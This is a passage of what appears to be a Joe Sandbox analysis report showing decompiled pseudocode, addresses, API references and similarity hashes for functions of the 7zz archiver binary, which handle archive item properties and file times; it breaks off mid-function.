Uniqueness Score: -1.00%

Function 0043B137 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 350
timeCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E0043B137(intOrPtr __edx) {
				intOrPtr _t120;
				signed int _t121;
				signed int _t128;
				signed int _t131;
				signed int _t133;
				signed int _t146;
				intOrPtr* _t147;
				signed int _t159;
				signed char _t160;
				intOrPtr _t161;
				signed int _t164;
				intOrPtr* _t167;
				signed int _t171;
				signed int _t172;
				signed int _t175;
				signed int _t177;
				signed int _t179;
				void* _t180;
				signed int _t183;
				signed int _t184;
				int _t187;
				void* _t189;
				void* _t192;
				intOrPtr* _t193;
				void* _t196;
				void* _t197;
				void* _t199;
				void* _t200;
				void* _t201;
				void* _t206;
				signed int _t220;
				signed int _t225;
				signed int _t227;
				signed int _t228;
				signed int _t234;
				signed short _t268;
				signed char* _t271;
				void* _t274;
				void* _t276;
				void* _t279;

				_t261 = __edx;
				L0046B890(E0047860C, _t274);
				 *((intOrPtr*)(_t274 - 0x10)) = _t276 - 0x80;
				 *(_t274 - 4) = 0;
				 *((short*)(_t274 - 0x6c)) = 0;
				 *((short*)(_t274 - 0x6a)) = 0;
				 *(_t274 - 4) = 1;
				_t271 =  *( *((intOrPtr*)( *((intOrPtr*)(_t274 + 8)) + 0x1c)) +  *(_t274 + 0xc) * 4);
				_t120 =  *((intOrPtr*)(_t274 + 0x10));
				_t279 = _t120 - 0xc;
				if(_t279 > 0) {
					_t121 = _t120 - 0xf;
					__eflags = _t121;
					if(_t121 == 0) {
						_t123 = _t271[2] & 0x00000001;
						__eflags = _t271[2] & 0x00000001;
						L84:
						E0040C13B(_t274 - 0x6c, _t123);
						L85:
						E0040C2B2(_t274 - 0x6c, _t287,  *((intOrPtr*)(_t274 + 0x14)));
						 *(_t274 - 4) =  *(_t274 - 4) & 0x00000000;
						E0040C20F(_t274 - 0x6c);
						 *[fs:0x0] =  *((intOrPtr*)(_t274 - 0xc));
						return 0;
					}
					_t128 = _t121 - 4;
					__eflags = _t128;
					if(_t128 == 0) {
						__eflags = L0043B787(_t271, __edx);
						if(__eflags == 0) {
							goto L85;
						}
						_push(_t271[0xc]);
						L40:
						E0040C1A0(_t274 - 0x6c);
						goto L85;
					}
					_t131 = _t128 - 3;
					__eflags = _t131;
					if(_t131 == 0) {
						_t268 = _t271[4];
						 *((intOrPtr*)(_t274 - 0x2c)) = 0;
						 *((intOrPtr*)(_t274 - 0x28)) = 0;
						 *((intOrPtr*)(_t274 - 0x24)) = 0;
						E00401EEE(_t274 - 0x2c, 3);
						__eflags = _t271[2] & 0x00000001;
						 *(_t274 - 4) = 6;
						if((_t271[2] & 0x00000001) == 0) {
							L64:
							__eflags = _t268 - 0xb;
							if(_t268 >= 0xb) {
								L66:
								_t133 = _t268 & 0x0000ffff;
								_t220 = _t133 - 0xc;
								__eflags = _t220;
								if(_t220 == 0) {
									_push( *0x48d500);
									L78:
									E00435B13(_t274 - 0x2c, _t261);
									L79:
									E0040C0D3(_t274 - 0x6c, __eflags,  *((intOrPtr*)(_t274 - 0x2c)));
									 *(_t274 - 4) = 1;
									L00407A18( *((intOrPtr*)(_t274 - 0x2c)));
									L80:
									goto L85;
								}
								_t225 = _t220;
								__eflags = _t225;
								if(_t225 == 0) {
									E00435B13(_t274 - 0x2c, _t261,  *0x48d504);
									__eflags = _t271[2] >> 0x00000001 & 0x00000001;
									if(__eflags == 0) {
										goto L79;
									}
									_push(":EOS");
									goto L78;
								}
								_t227 = _t225 - 0x52;
								__eflags = _t227;
								if(_t227 == 0) {
									_push( *0x48d508);
								} else {
									_t228 = _t227 - 1;
									__eflags = _t228;
									if(_t228 == 0) {
										_push( *0x48d50c);
									} else {
										__eflags = _t228 == 1;
										if(_t228 == 1) {
											_push( *0x48d510);
										} else {
											asm("cdq");
											_push(_t261);
											_push(_t133);
											_t261 = 0xa;
											L004075FF(_t274 - 0x8c, _t261);
											_push(_t274 - 0x8c);
										}
									}
								}
								goto L78;
							}
							_push( *((intOrPtr*)(0x48d4d4 + (_t268 & 0x0000ffff) * 4)));
							goto L78;
						}
						__eflags = _t268 - 0x63;
						if(_t268 != 0x63) {
							__eflags = _t271[2] & 0x00000040;
							if((_t271[2] & 0x00000040) == 0) {
								_push( *0x48d518);
								L62:
								E00435B13(_t274 - 0x2c, _t261);
								L63:
								E00406ACF(_t274 - 0x2c, _t261, __eflags, 0x20);
								goto L64;
							}
							_t146 = L0043B600( &(_t271[0x68]), _t274 - 0x20);
							__eflags = _t146;
							if(_t146 == 0) {
								L60:
								_push( *0x48d51c);
								goto L62;
							}
							_t234 = 0;
							__eflags = 0;
							while(1) {
								__eflags = _t234 - 0xb;
								if(_t234 >= 0xb) {
									break;
								}
								_t261 =  *((intOrPtr*)(_t274 - 0x1e));
								_t147 = 0x48d520 + _t234 * 8;
								__eflags = _t261 -  *_t147;
								if(_t261 !=  *_t147) {
									_t234 = _t234 + 1;
									continue;
								}
								_push( *((intOrPtr*)(_t147 + 4)));
								goto L62;
							}
							__eflags = 0;
							if(0 != 0) {
								goto L63;
							}
							goto L60;
						}
						E00409664(_t274 - 0x2c,  *0x48d514);
						 *(_t274 - 0x18) = 2;
						 *(_t274 - 0x16) = 3;
						 *(_t274 - 0x14) = 0;
						__eflags = L0043B585( &(_t271[0x68]), _t274 - 0x18);
						if(__eflags == 0) {
							goto L66;
						}
						E00406ACF(_t274 - 0x2c, _t261, __eflags, 0x2d);
						asm("cdq");
						_push(_t261);
						_push(( *(_t274 - 0x16) & 0x000000ff) + 1 << 6);
						_t261 = 0xa;
						L004075FF(_t274 - 0x8c, _t261);
						E00435B13(_t274 - 0x2c, _t261, _t274 - 0x8c);
						E00406ACF(_t274 - 0x2c, _t261, __eflags, 0x20);
						_t268 =  *(_t274 - 0x14);
						goto L64;
					}
					_t159 = _t131 - 1;
					__eflags = _t159;
					if(_t159 == 0) {
						_t160 = _t271[0x41];
						__eflags = _t160 - 0x14;
						if(__eflags >= 0) {
							_t161 =  *0x48d4d0; // 0x48c5cc
						} else {
							_t161 =  *((intOrPtr*)(0x48d480 + (_t160 & 0x000000ff) * 4));
						}
						E0040C0D3(_t274 - 0x6c, __eflags, _t161);
						goto L85;
					}
					_t164 = _t159 - 5;
					__eflags = _t164;
					if(__eflags == 0) {
						_push(E0043B088(_t274 - 0x5c,  &(_t271[0x7c]), __eflags));
						_push(_t274 - 0x50);
						 *(_t274 - 4) = 4;
						_t167 = L0043B6E5(_t271, __eflags);
						 *(_t274 - 4) = 5;
						E0040C08C(_t274 - 0x6c, __eflags,  *_t167);
						L00407A18( *((intOrPtr*)(_t274 - 0x50)));
						_push( *((intOrPtr*)(_t274 - 0x5c)));
						 *(_t274 - 4) = 1;
						L20:
						L00407A18();
						goto L80;
					}
					_t171 = _t164 - 5;
					__eflags = _t171;
					if(_t171 == 0) {
						_t172 =  *_t271 & 0x000000ff;
						L14:
						_push(_t172);
						goto L40;
					}
					__eflags = _t171 - 7;
					if(__eflags != 0) {
						goto L85;
					}
					_t273 =  &(_t271[0x68]);
					_t175 = L0043B680( &(_t271[0x68]), 0, _t274 - 0x20);
					__eflags = _t175;
					if(_t175 == 0) {
						_t177 = L0043B6B2(_t273, 0, _t274 + 8);
						__eflags = _t177;
						if(_t177 == 0) {
							_push(2);
						} else {
							_push(1);
						}
					} else {
						_push(0);
					}
					goto L40;
				}
				if(_t279 == 0) {
					_t269 =  &(_t271[0x68]);
					_t179 = L0043B680( &(_t271[0x68]), 0, _t274 - 0x18);
					__eflags = _t179;
					if(_t179 != 0) {
						L27:
						_t180 = _t274 - 0x18;
						L28:
						E0040C1E7(_t274 - 0x6c, _t180);
						goto L85;
					}
					_t183 = L0043B6B2(_t269, 0, _t274 + 8);
					__eflags = _t183;
					if(_t183 == 0) {
						_t184 = E0040C677(_t271[8], _t274 - 0x20);
						__eflags = _t184;
						if(_t184 == 0) {
							L26:
							 *(_t274 - 0x18) = 0;
							 *(_t274 - 0x14) = 0;
							goto L27;
						}
						_t187 = LocalFileTimeToFileTime(_t274 - 0x20, _t274 - 0x18);
						__eflags = _t187;
						if(_t187 != 0) {
							goto L27;
						}
						goto L26;
					}
					E0040C6D5( *((intOrPtr*)(_t274 + 8)), _t274 - 0x18);
					goto L27;
				}
				_t189 = _t120 - 3;
				if(_t189 == 0) {
					_push( &(_t271[0x20]));
					_push(_t274 - 0x44);
					_t192 = L0043B6E5(_t271, __eflags);
					 *(_t274 - 4) = 2;
					_t193 = E00425EBC(_t274 - 0x38, _t192);
					 *(_t274 - 4) = 3;
					E0040C08C(_t274 - 0x6c, __eflags,  *_t193);
					L00407A18( *((intOrPtr*)(_t274 - 0x38)));
					_push( *((intOrPtr*)(_t274 - 0x44)));
					 *(_t274 - 4) = 1;
					goto L20;
				}
				_t196 = _t189 - 3;
				if(_t196 == 0) {
					_t123 = E00440593(_t271);
					goto L84;
				}
				_t197 = _t196 - 1;
				if(_t197 == 0) {
					_push(_t271[0x1c]);
					_push(_t271[0x18]);
					L16:
					E0040C1C0(_t274 - 0x6c);
					goto L85;
				}
				_t199 = _t197 - 1;
				if(_t199 == 0) {
					_push(_t271[0x14]);
					_push(_t271[0x10]);
					goto L16;
				}
				_t200 = _t199 - 1;
				if(_t200 == 0) {
					_t172 = E0044062B(_t271);
					goto L14;
				}
				_t201 = _t200 - 1;
				if(_t201 == 0) {
					__eflags = L0043B680( &(_t271[0x68]), 2, _t274 - 0x18);
					if(__eflags == 0) {
						goto L85;
					} else {
						_t180 = _t274 - 0x18;
						goto L28;
					}
				}
				if(_t201 != 1) {
					goto L85;
				}
				_t206 = L0043B680( &(_t271[0x68]), 1, _t274 - 0x18);
				_t287 = _t206;
				if(_t206 == 0) {
					goto L85;
				} else {
					_t180 = _t274 - 0x18;
					goto L28;
				}
			}

0x0043b137
0x0043b13c
0x0043b14c
0x0043b14f
0x0043b152
0x0043b156
0x0043b160
0x0043b167
0x0043b16a
0x0043b16d
0x0043b170
0x0043b2ba
0x0043b2ba
0x0043b2bd
0x0043b543
0x0043b543
0x0043b545
0x0043b549
0x0043b54e
0x0043b554
0x0043b559
0x0043b560
0x0043b579
0x0043b582
0x0043b582
0x0043b2c3
0x0043b2c3
0x0043b2c6
0x0043b534
0x0043b536
0x00000000
0x00000000
0x0043b538
0x0043b317
0x0043b31a
0x00000000
0x0043b31a
0x0043b2cc
0x0043b2cc
0x0043b2cf
0x0043b393
0x0043b39c
0x0043b39f
0x0043b3a2
0x0043b3a5
0x0043b3aa
0x0043b3ae
0x0043b3b2
0x0043b48a
0x0043b48a
0x0043b48e
0x0043b49c
0x0043b49c
0x0043b4a1
0x0043b4a1
0x0043b4a4
0x0043b505
0x0043b50b
0x0043b50e
0x0043b513
0x0043b519
0x0043b521
0x0043b525
0x0043b52a
0x00000000
0x0043b52a
0x0043b4a7
0x0043b4a7
0x0043b4a8
0x0043b4f0
0x0043b4fa
0x0043b4fc
0x00000000
0x00000000
0x0043b4fe
0x00000000
0x0043b4fe
0x0043b4aa
0x0043b4aa
0x0043b4ad
0x0043b4df
0x0043b4af
0x0043b4af
0x0043b4af
0x0043b4b0
0x0043b4d7
0x0043b4b2
0x0043b4b2
0x0043b4b3
0x0043b4cf
0x0043b4b5
0x0043b4b5
0x0043b4b6
0x0043b4b7
0x0043b4c0
0x0043b4c1
0x0043b4cc
0x0043b4cc
0x0043b4b3
0x0043b4b0
0x00000000
0x0043b4ad
0x0043b493
0x00000000
0x0043b493
0x0043b3b8
0x0043b3bc
0x0043b42f
0x0043b433
0x0043b472
0x0043b478
0x0043b47b
0x0043b480
0x0043b485
0x00000000
0x0043b485
0x0043b43e
0x0043b443
0x0043b445
0x0043b46a
0x0043b46a
0x00000000
0x0043b46a
0x0043b447
0x0043b447
0x0043b449
0x0043b449
0x0043b44c
0x00000000
0x00000000
0x0043b44e
0x0043b452
0x0043b459
0x0043b45c
0x0043b463
0x00000000
0x0043b463
0x0043b45e
0x00000000
0x0043b45e
0x0043b466
0x0043b468
0x00000000
0x00000000
0x00000000
0x0043b468
0x0043b3c7
0x0043b3d3
0x0043b3d9
0x0043b3dd
0x0043b3e6
0x0043b3e8
0x00000000
0x00000000
0x0043b3f3
0x0043b406
0x0043b407
0x0043b408
0x0043b40b
0x0043b40c
0x0043b41b
0x0043b425
0x0043b42a
0x00000000
0x0043b42a
0x0043b2d5
0x0043b2d5
0x0043b2d6
0x0043b36d
0x0043b370
0x0043b372
0x0043b380
0x0043b374
0x0043b377
0x0043b377
0x0043b389
0x00000000
0x0043b389
0x0043b2dc
0x0043b2dc
0x0043b2df
0x0043b33b
0x0043b33f
0x0043b342
0x0043b346
0x0043b350
0x0043b354
0x0043b35c
0x0043b361
0x0043b364
0x0043b247
0x0043b247
0x00000000
0x0043b24c
0x0043b2e1
0x0043b2e1
0x0043b2e4
0x0043b328
0x0043b1e0
0x0043b1e0
0x00000000
0x0043b1e0
0x0043b2e6
0x0043b2e9
0x00000000
0x00000000
0x0043b2f2
0x0043b2f9
0x0043b2fe
0x0043b300
0x0043b30c
0x0043b311
0x0043b313
0x0043b324
0x0043b315
0x0043b315
0x0043b315
0x0043b302
0x0043b302
0x0043b302
0x00000000
0x0043b300
0x0043b176
0x0043b255
0x0043b25c
0x0043b261
0x0043b263
0x0043b2a9
0x0043b2a9
0x0043b2ac
0x0043b2b0
0x00000000
0x0043b2b0
0x0043b26c
0x0043b271
0x0043b273
0x0043b288
0x0043b28d
0x0043b28f
0x0043b2a3
0x0043b2a3
0x0043b2a6
0x00000000
0x0043b2a6
0x0043b299
0x0043b29f
0x0043b2a1
0x00000000
0x00000000
0x00000000
0x0043b2a1
0x0043b27b
0x00000000
0x0043b27b
0x0043b17c
0x0043b17f
0x0043b212
0x0043b216
0x0043b217
0x0043b221
0x0043b225
0x0043b22f
0x0043b233
0x0043b23b
0x0043b240
0x0043b243
0x00000000
0x0043b243
0x0043b185
0x0043b188
0x0043b203
0x00000000
0x0043b203
0x0043b18a
0x0043b18b
0x0043b1f9
0x0043b1fc
0x0043b1ec
0x0043b1ef
0x00000000
0x0043b1ef
0x0043b18d
0x0043b18e
0x0043b1e6
0x0043b1e9
0x00000000
0x0043b1e9
0x0043b190
0x0043b191
0x0043b1db
0x00000000
0x0043b1db
0x0043b193
0x0043b194
0x0043b1c9
0x0043b1cb
0x00000000
0x0043b1d1
0x0043b1d1
0x00000000
0x0043b1d1
0x0043b1cb
0x0043b197
0x00000000
0x00000000
0x0043b1a6
0x0043b1ab
0x0043b1ad
0x00000000
0x0043b1b3
0x0043b1b3
0x00000000
0x0043b1b3

APIs

__EH_prolog.LIBCMT ref: 0043B13C
LocalFileTimeToFileTime.KERNEL32(?,?,00000000,?,00000000,?), ref: 0043B299

Part of subcall function 004075FF: __aullrem.LIBCMT ref: 00407628
Part of subcall function 004075FF: __aulldiv.LIBCMT ref: 00407647

Strings

:EOS, xrefs: 0043B4FE

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: FileTime$H_prologLocal__aulldiv__aullrem
String ID: :EOS
API String ID: 2778661161-1291901814
Opcode ID: 2354e7ec4c2b8d6c968416e40d9aa08ba06bc91753a3a1e5fe7f369bb66e9801
Instruction ID: 5c88e5fc1e14b78c74474c3f3572503d3b72a76114a3bd06a3995ebb801c467b
Opcode Fuzzy Hash: 2354e7ec4c2b8d6c968416e40d9aa08ba06bc91753a3a1e5fe7f369bb66e9801
Instruction Fuzzy Hash: 31C1A530900209EACF15EFA5C851BFEB779EF18308F14541FE64267292DB389A05DBAD

Uniqueness

Uniqueness Score: -1.00%

Function 0042D5F3 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 189
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0042D5F3(void* __ecx, signed int __edx) {
				intOrPtr _t110;
				intOrPtr _t117;
				intOrPtr* _t118;
				void* _t122;
				signed int _t128;
				signed int _t132;
				signed int _t135;
				signed int _t139;
				intOrPtr _t148;
				signed int _t173;
				intOrPtr _t174;
				intOrPtr _t176;
				void* _t177;
				signed int _t178;
				void* _t179;
				signed int* _t182;
				void* _t184;
				void* _t186;
				void* _t187;

				_t173 = __edx;
				L0046B890(0x4774e4, _t187);
				_t184 = __ecx;
				_t110 = E0042D241(__edx);
				_t148 =  *((intOrPtr*)(_t187 + 8));
				_t176 = _t110;
				E0040862D();
				E0040867E(_t148, _t176);
				 *(_t187 - 0x10) =  *(_t187 - 0x10) & 0x00000000;
				 *(_t187 - 0x1c) =  *(_t187 - 0x1c) & 0x00000000;
				if(_t176 <= 0) {
					L15:
					_t177 = _t148 + 0x14;
					 *((intOrPtr*)(_t187 + 8)) =  *(_t187 - 0x1c) - 1;
					E0040862D();
					_t155 = _t177;
					E0040867E(_t177,  *((intOrPtr*)(_t187 + 8)));
					_t117 =  *((intOrPtr*)(_t187 + 8));
					if(_t117 <= 0) {
						L18:
						_t178 =  *(_t187 - 0x10);
						if(_t178 <  *((intOrPtr*)(_t187 + 8))) {
							E0042D0F8(_t155);
						}
						_t179 = _t178 -  *((intOrPtr*)(_t187 + 8));
						_t156 = _t148 + 0x28;
						 *((intOrPtr*)(_t187 + 8)) = _t156;
						_t118 = E0040867E(_t156, _t179);
						if(_t179 != 1) {
							if(_t179 <= 0) {
								goto L36;
							} else {
								goto L35;
							}
							do {
								L35:
								_t118 = E00415C6D( *((intOrPtr*)(_t187 + 8)), E0042D241(_t173));
								_t179 = _t179 - 1;
							} while (_t179 != 0);
							goto L36;
						} else {
							_t186 = 0;
							if( *(_t187 - 0x10) <= 0) {
								L32:
								if( *((intOrPtr*)(_t148 + 0x30)) != 1) {
									_t118 = E0042D0F8(_t156);
								}
								L36:
								 *[fs:0x0] =  *((intOrPtr*)(_t187 - 0xc));
								return _t118;
							}
							_t174 =  *((intOrPtr*)(_t148 + 0x1c));
							do {
								if(_t174 <= 0) {
									L27:
									_t156 = 0xffffffff;
									L28:
									if(_t156 < 0) {
										_t156 =  *((intOrPtr*)(_t187 + 8));
										_t118 = E00415C6D( *((intOrPtr*)(_t187 + 8)), _t186);
										goto L32;
									}
									goto L29;
								}
								_t118 =  *((intOrPtr*)(_t148 + 0x20));
								while( *_t118 != _t186) {
									_t156 = 1;
									_t118 = _t118 + 8;
									if(1 < _t174) {
										continue;
									}
									goto L27;
								}
								goto L28;
								L29:
								_t186 = _t186 + 1;
							} while (_t186 <  *(_t187 - 0x10));
							goto L32;
						}
					}
					 *((intOrPtr*)(_t187 - 0x24)) = _t117;
					do {
						 *(_t187 - 0x2c) = E0042D241(_t173);
						_t122 = E0042D241(_t173);
						_t155 = _t177;
						L0042389F(_t177,  *(_t187 - 0x2c), _t122);
						_t92 = _t187 - 0x24;
						 *_t92 =  *((intOrPtr*)(_t187 - 0x24)) - 1;
					} while ( *_t92 != 0);
					goto L18;
				}
				 *((intOrPtr*)(_t187 - 0x24)) = _t176;
				do {
					 *(_t187 - 0x50) =  *(_t187 - 0x50) & 0x00000000;
					 *(_t187 - 0x4c) =  *(_t187 - 0x4c) & 0x00000000;
					 *((intOrPtr*)(_t187 - 0x54)) = 0x47a7ec;
					 *(_t187 - 4) =  *(_t187 - 4) & 0x00000000;
					_push(_t187 - 0x5c);
					E00428C94(_t148);
					 *(_t187 - 4) =  *(_t187 - 4) | 0xffffffff;
					 *((intOrPtr*)(_t187 - 0x54)) = 0x47a7ec;
					L00407A18( *(_t187 - 0x4c));
					_t182 =  *( *((intOrPtr*)(_t148 + 0xc)) +  *(_t148 + 8) * 4 - 4);
					_t128 = E0042D110( *((intOrPtr*)(_t184 + 0x18)));
					_t167 =  *((intOrPtr*)(_t184 + 0x18));
					 *(_t187 + 0xb) = _t128;
					 *(_t187 - 0x14) = _t128 & 0x0000000f;
					E0042D12E( *((intOrPtr*)(_t184 + 0x18)), _t187 - 0x3c, _t128 & 0x0000000f);
					_t132 =  *(_t187 - 0x14);
					if(_t132 > 8) {
						E0042D0F8(_t167);
						_t132 =  *(_t187 - 0x14);
					}
					_t168 = 0;
					 *(_t187 - 0x2c) = 0;
					 *(_t187 - 0x28) = 0;
					if(_t132 > 0) {
						 *((intOrPtr*)(_t187 - 0x18)) = 0;
						 *(_t187 - 0x14) = _t187 + _t132 - 0x3d;
						 *(_t187 - 0x20) = _t132;
						do {
							_t168 =  *((intOrPtr*)(_t187 - 0x18));
							asm("cdq");
							 *(_t187 - 0x2c) =  *(_t187 - 0x2c) | E0046C5A0( *( *(_t187 - 0x14)) & 0x000000ff,  *((intOrPtr*)(_t187 - 0x18)), _t173);
							 *(_t187 - 0x28) =  *(_t187 - 0x28) | _t173;
							 *(_t187 - 0x14) =  *(_t187 - 0x14) - 1;
							 *((intOrPtr*)(_t187 - 0x18)) =  *((intOrPtr*)(_t187 - 0x18)) + 8;
							_t49 = _t187 - 0x20;
							 *_t49 =  *(_t187 - 0x20) - 1;
						} while ( *_t49 != 0);
					}
					 *_t182 =  *(_t187 - 0x2c);
					_t182[1] =  *(_t187 - 0x28);
					if(( *(_t187 + 0xb) & 0x00000010) == 0) {
						_t135 = 1;
						_t182[5] = _t135;
					} else {
						_t182[5] = E0042D241(_t173);
						_t168 =  *((intOrPtr*)(_t184 + 0x18));
						_t135 = E0042D241(_t173);
					}
					_t182[6] = _t135;
					if(( *(_t187 + 0xb) & 0x00000020) != 0) {
						_t139 = E0042D241(_t173);
						_t66 =  &(_t182[2]); // 0x107
						 *(_t187 - 0x20) = _t139;
						L0040FA26(_t66, _t139);
						_t168 =  *((intOrPtr*)(_t184 + 0x18));
						E0042D12E( *((intOrPtr*)(_t184 + 0x18)), _t182[4],  *(_t187 - 0x20));
					}
					if(( *(_t187 + 0xb) & 0x00000080) != 0) {
						E0042D0F8(_t168);
					}
					 *(_t187 - 0x10) =  *(_t187 - 0x10) + _t182[5];
					 *(_t187 - 0x1c) =  *(_t187 - 0x1c) + _t182[6];
					_t80 = _t187 - 0x24;
					 *_t80 =  *((intOrPtr*)(_t187 - 0x24)) - 1;
				} while ( *_t80 != 0);
				goto L15;
			}

0x0042d5f3
0x0042d5f8
0x0042d602
0x0042d608
0x0042d60d
0x0042d610
0x0042d614
0x0042d61c
0x0042d621
0x0042d625
0x0042d62b
0x0042d74c
0x0042d74f
0x0042d755
0x0042d758
0x0042d760
0x0042d762
0x0042d767
0x0042d76c
0x0042d794
0x0042d794
0x0042d79a
0x0042d79c
0x0042d79c
0x0042d7a1
0x0042d7a4
0x0042d7a7
0x0042d7ab
0x0042d7b3
0x0042d7fb
0x00000000
0x00000000
0x00000000
0x00000000
0x0042d7fd
0x0042d7fd
0x0042d809
0x0042d80e
0x0042d80e
0x00000000
0x0042d7b5
0x0042d7b5
0x0042d7ba
0x0042d7ec
0x0042d7f0
0x0042d7f2
0x0042d7f2
0x0042d811
0x0042d817
0x0042d81f
0x0042d81f
0x0042d7bc
0x0042d7bf
0x0042d7c3
0x0042d7d4
0x0042d7d4
0x0042d7d7
0x0042d7d9
0x0042d7e3
0x0042d7e7
0x00000000
0x0042d7e7
0x00000000
0x0042d7d9
0x0042d7c5
0x0042d7c8
0x0042d7cc
0x0042d7cd
0x0042d7d2
0x00000000
0x00000000
0x00000000
0x0042d7d2
0x00000000
0x0042d7db
0x0042d7db
0x0042d7dc
0x00000000
0x0042d7e1
0x0042d7b3
0x0042d76e
0x0042d771
0x0042d77c
0x0042d77f
0x0042d785
0x0042d78a
0x0042d78f
0x0042d78f
0x0042d78f
0x00000000
0x0042d771
0x0042d631
0x0042d634
0x0042d634
0x0042d638
0x0042d641
0x0042d644
0x0042d64b
0x0042d64e
0x0042d656
0x0042d65a
0x0042d65d
0x0042d669
0x0042d670
0x0042d675
0x0042d678
0x0042d67e
0x0042d686
0x0042d68b
0x0042d691
0x0042d693
0x0042d698
0x0042d698
0x0042d69b
0x0042d69f
0x0042d6a2
0x0042d6a5
0x0042d6a7
0x0042d6ae
0x0042d6b1
0x0042d6b4
0x0042d6b7
0x0042d6bd
0x0042d6c3
0x0042d6c6
0x0042d6c9
0x0042d6cc
0x0042d6d0
0x0042d6d0
0x0042d6d0
0x0042d6b4
0x0042d6dc
0x0042d6e1
0x0042d6e4
0x0042d6fd
0x0042d6fe
0x0042d6e6
0x0042d6ee
0x0042d6f1
0x0042d6f4
0x0042d6f4
0x0042d705
0x0042d708
0x0042d70d
0x0042d713
0x0042d716
0x0042d719
0x0042d721
0x0042d727
0x0042d727
0x0042d730
0x0042d732
0x0042d732
0x0042d73a
0x0042d740
0x0042d743
0x0042d743
0x0042d743
0x00000000

APIs

__EH_prolog.LIBCMT ref: 0042D5F8

Part of subcall function 00428C94: __EH_prolog.LIBCMT ref: 00428C99

Strings

, xrefs: 0042D701
c[@, xrefs: 0042D63C

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: H_prolog
String ID: $c[@
API String ID: 3519838083-1303465990
Opcode ID: a03fa87157ec859ad137ae3f03af2d14d6f5264f4817a720d9191c650317cd75
Instruction ID: f7f276ab7b0e8e4aae64a949967b144445a492cbfe2f6d3bc49d51a0f31881ab
Opcode Fuzzy Hash: a03fa87157ec859ad137ae3f03af2d14d6f5264f4817a720d9191c650317cd75
Instruction Fuzzy Hash: F9717070E002159BCF14EFA9D4816EEB7B1BF84314F50451FE856B7292CB3CA945CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0042CD7D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 185
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0042CD7D(void* __ecx) {
				signed int _t118;
				signed int _t129;
				signed int* _t130;
				signed int _t150;
				signed int _t151;
				signed int _t160;
				intOrPtr _t162;
				signed int* _t180;
				signed int _t181;
				signed int _t190;
				signed int _t191;
				signed int _t192;
				signed int _t195;
				signed int _t196;
				intOrPtr _t198;
				void* _t200;
				signed int* _t202;
				void* _t203;

				L0046B890(0x4774bc, _t203);
				_t200 = __ecx;
				if( *((intOrPtr*)(__ecx + 8)) > 0x20 ||  *((intOrPtr*)(__ecx + 0x1c)) > 0x20) {
					L31:
					_t118 = 0;
				} else {
					E00404AD0(_t203 - 0x28, 1);
					 *((intOrPtr*)(_t203 - 0x28)) = 0x47ab08;
					_t150 = 0;
					 *(_t203 - 4) = 0;
					E0042CFAA(_t203 - 0x28,  *((intOrPtr*)(__ecx + 0x30)) +  *((intOrPtr*)(__ecx + 0x1c)));
					_t190 = 0;
					if( *((intOrPtr*)(_t200 + 0x1c)) <= 0) {
						L5:
						_t191 = 0;
						if( *((intOrPtr*)(_t200 + 0x30)) <= _t150) {
							L8:
							E0042CFAA(_t203 - 0x28,  *((intOrPtr*)(_t200 + 0x44)));
							_t192 = 0;
							if( *((intOrPtr*)(_t200 + 0x1c)) <= _t150) {
								L11:
								 *(_t203 - 4) =  *(_t203 - 4) | 0xffffffff;
								E00408604(_t203 - 0x28);
								_t160 = 0x20;
								memset(_t203 - 0xd0, 0, _t160 << 2);
								_t162 = 4;
								 *(_t203 - 0x38) = _t150;
								 *(_t203 - 0x34) = _t150;
								 *(_t203 - 0x30) = _t150;
								 *((intOrPtr*)(_t203 - 0x2c)) = 0;
								 *((intOrPtr*)(_t203 - 0x3c)) = 0x47a668;
								 *(_t203 - 4) = 1;
								 *(_t203 - 0x4c) = _t150;
								 *(_t203 - 0x48) = _t150;
								 *(_t203 - 0x44) = _t150;
								 *((intOrPtr*)(_t203 - 0x40)) = _t162;
								 *((intOrPtr*)(_t203 - 0x50)) = 0x47a668;
								 *(_t203 - 4) = 2;
								 *(_t203 - 0x10) = _t150;
								if( *((intOrPtr*)(_t200 + 8)) > _t150) {
									do {
										 *(_t203 - 0x14) = _t150;
										_t198 =  *((intOrPtr*)( *((intOrPtr*)(_t200 + 0xc)) +  *(_t203 - 0x10) * 4));
